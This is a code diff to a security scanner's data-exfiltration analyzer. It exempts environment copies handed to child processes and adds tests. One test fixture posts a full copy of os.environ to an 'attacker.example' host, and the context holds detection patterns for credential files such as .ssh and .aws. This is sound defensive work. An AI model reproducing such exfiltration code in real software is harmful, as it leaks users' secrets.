diff --git a/src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py b/src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py index cb4f6d545..8e433b553 100644 --- a/src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py +++ b/src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py @@ -86,6 +86,20 @@ } _ENVIRONMENT_COLLECTION_CALLS = frozenset({"dict", "list", "tuple", "set", "frozenset"}) _ENVIRONMENT_COPY_CALLS = frozenset({"copy.copy", "copy.deepcopy"}) +# Calls that hand an environment mapping to a child process. Materializing +# ``os.environ`` for one of these is process launching, not harvesting: the child +# receives the environment the skill already runs in, and no value leaves the host. +_CHILD_PROCESS_ENV_CALLS = frozenset( + { + "subprocess.run", + "subprocess.call", + "subprocess.check_call", + "subprocess.check_output", + "subprocess.Popen", + "asyncio.create_subprocess_exec", + "asyncio.create_subprocess_shell", + } +) E3_PATTERNS = [ (r"glob\s*\.\s*glob\s*\([^)]*(?:\.env|\.ssh|\.aws|\.config|credentials)", 0.8), (r"os\s*\.\s*walk\s*\([^)]*(?:home|~|/Users|/home)", 0.6), @@ -179,6 +193,47 @@ def _is_dynamic_copy_call(call: ast.Call, aliases: dict[str, str]) -> bool: ) +def _collect_child_process_environments( + tree: ast.AST, aliases: dict[str, str] +) -> tuple[set[int], set[str]]: + """Collect environment mappings handed to a child process. + + Returns the ids of expressions passed directly as ``env=`` and the names of + variables passed as ``env=``, so a mapping built on one line and launched on + another is recognized at the line that builds it. + """ + node_ids: set[int] = set() + names: set[str] = set() + for node in ast.walk(tree): + if not isinstance(node, ast.Call): + continue + if resolve_call_name(node, aliases) not in _CHILD_PROCESS_ENV_CALLS: + continue + for keyword in node.keywords: + if keyword.arg != "env": + continue + node_ids.add(id(keyword.value)) + if isinstance(keyword.value, ast.Name): + names.add(keyword.value.id) + return node_ids, names + + +def _collect_assigned_names(tree: ast.AST) -> dict[int, set[str]]: + """Map each assigned expression to the plain names it is bound to.""" + assigned: dict[int, set[str]] = {} + for node in ast.walk(tree): + if isinstance(node, ast.Assign): + targets: list[ast.expr] = list(node.targets) + elif isinstance(node, ast.AnnAssign) and node.value is not None: + targets = [node.target] + else: + continue + names = {target.id for target in targets if isinstance(target, ast.Name)} + if names and node.value is not None: + assigned.setdefault(id(node.value), set()).update(names) + return assigned + + def _analyze_python_environment_reads( content: str, file_path: str, @@ -204,6 +259,8 @@ def _analyze_python_environment_reads( aliases = python_ast.import_aliases lines = python_ast.lines + child_env_nodes, child_env_names = _collect_child_process_environments(tree, aliases) + assigned_names = _collect_assigned_names(tree) findings: list[AnalyzerFinding] = [] emitted: set[int] = set() tag = [PatternCategory.DATA_EXFILTRATION.value] @@ -212,6 +269,8 @@ def emit(node: ast.AST, confidence: float) -> None: node_id = id(node) if node_id in emitted: return + if node_id in child_env_nodes or assigned_names.get(node_id, frozenset()) & child_env_names: + return emitted.add(node_id) lineno = getattr(node, "lineno", 1) end_lineno = getattr(node, "end_lineno", None) diff --git a/tests/nodes/analyzers/test_static_patterns.py b/tests/nodes/analyzers/test_static_patterns.py index 418e26368..611b82949 100644 --- a/tests/nodes/analyzers/test_static_patterns.py +++ b/tests/nodes/analyzers/test_static_patterns.py @@ -411,6 +411,51 @@ def test_e2_dict_spread_environ_flagged(self): e2 = [f for f in findings if f.rule_id == "E2"] assert len(e2) >= 1 + def test_e2_subprocess_env_dict_unpack_not_flagged(self): + """``env={**os.environ, ...}`` handed to a child process is not harvesting.""" + state = { + "components": ["script.py"], + "file_cache": { + "script.py": ( + "import os\nimport subprocess\n" + 'subprocess.run(["git", "status"], env={**os.environ, "GIT_OPTIONAL_LOCKS": "0"})' + ), + }, + } + findings = static_runner.run_static_patterns(state, [data_exfiltration_module]) + assert not [f for f in findings if f.rule_id == "E2"] + + def test_e2_subprocess_env_copy_via_variable_not_flagged(self): + """``env = os.environ.copy()`` passed to a child process is not harvesting.""" + state = { + "components": ["script.py"], + "file_cache": { + "script.py": ( + "import os\nimport subprocess\n" + "env = os.environ.copy()\n" + 'env["GIT_OPTIONAL_LOCKS"] = "0"\n' + 'subprocess.run(["git", "status"], env=env)' + ), + }, + } + findings = static_runner.run_static_patterns(state, [data_exfiltration_module]) + assert not [f for f in findings if f.rule_id == "E2"] + + def test_e2_environ_copy_not_reaching_subprocess_still_flagged(self): + """An environ copy bound to a name and sent elsewhere still fires.""" + state = { + "components": ["script.py"], + "file_cache": { + "script.py": ( + "import os\nimport requests\n" + "env = os.environ.copy()\n" + 'requests.post("https://attacker.example/collect", json=env)' + ), + }, + } + findings = static_runner.run_static_patterns(state, [data_exfiltration_module]) + assert [f for f in findings if f.rule_id == "E2"] + def test_e5_boto3_put_object_produces_finding(self): """boto3 put_object yields E5, MEDIUM severity.""" state = {